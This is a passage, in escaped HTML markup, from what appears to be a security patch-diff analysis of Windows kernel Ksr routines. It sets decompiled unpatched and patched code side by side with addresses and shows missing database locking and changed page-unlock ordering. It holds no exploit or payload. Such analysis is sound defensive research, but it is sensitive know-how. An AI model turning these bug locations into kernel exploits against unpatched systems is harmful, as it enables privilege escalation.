&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MmMapLockedPagesWithReservedMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mdl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MmCached&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// NEW: write previous entry as chain link&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MmUnmapReservedMapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mdl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;InterlockedExchange64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// NEW: store chain head into output param&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The added writes populate a first-quadword back-link in each persisted page and a chain-head output. No path in either build reads these as pointers (&lt;code&gt;KsrpNkFreePersistedPages&lt;/code&gt; reads an inline array from the request in both builds).&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;KsrConnectSecureLoader&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED @ 0x1C000CC90 — unlock is unconditional w.r.t. connect result&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrpNkLockPagesForTransfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000CD44&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connect_icall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000CD83&lt;/span&gt;
&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;MmUnlockPages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mdl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000CDB7&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;KsrpNkUnlockPagesForLargeTransfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000CDCA&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* fall through */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000CDCF&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// free only, unlock already done&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED @ 0x140013180 — consolidated unlock + ExAllocatePool2 + up-front memset&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connect_icall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;KsrpNkUnlockPagesForTransfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// 0x140013286, single helper&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;KsrS&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt; → &lt;code&gt;KsrpFreeUnusedPartitionMemoryRoutine&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED KsrPdFreeUnusedPartitionPages @ 0x1C000B500 — shared tree walk, no lock&lt;/span&gt;
&lt;span class="n"&gt;tree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000B5E7&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tree&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;successor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000B5EB..0x1C000B76B&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// read range fields; free pages within the range&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;KsrPdFreePagesInRange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mdl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C000B6A7&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// no ExAcquirePushLock* anywhere in this function; caller holds no KsrpPdDatabaseLock&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED KsrpFreeUnusedPartitionMemoryRoutine @ 0x14000DBFC — bracketed by database lock&lt;/span&gt;
&lt;span class="n"&gt;ExAcquirePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabaseLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 0x14000DC7D&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lookup_partition_object&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;ExReleasePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabaseLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 0x14000DC9E&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabaseLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// 0x14000DCB2&lt;/span&gt;
&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrpPdMovePartitionMemoryRangeCursor&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// 0x14000DCC2 (snapshot under lock)&lt;/span&gt;
&lt;span class="n"&gt;ExReleasePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabaseLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 0x14000DCFF&lt;/span&gt;
&lt;span class="n"&gt;KsrpPdFreePartitionRange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// 0x14000DD2C&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt; persistence loop&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C000BB20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C000BBFD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.0&lt;/span&gt;&lt;span class="n"&gt;x1C000BC67&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BBFD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+98h+MemoryDescriptorList&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC0C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+98h+var_38&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC16&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reserved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BC1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_MmMapLockedPagesWithReservedMapping&lt;/span&gt;
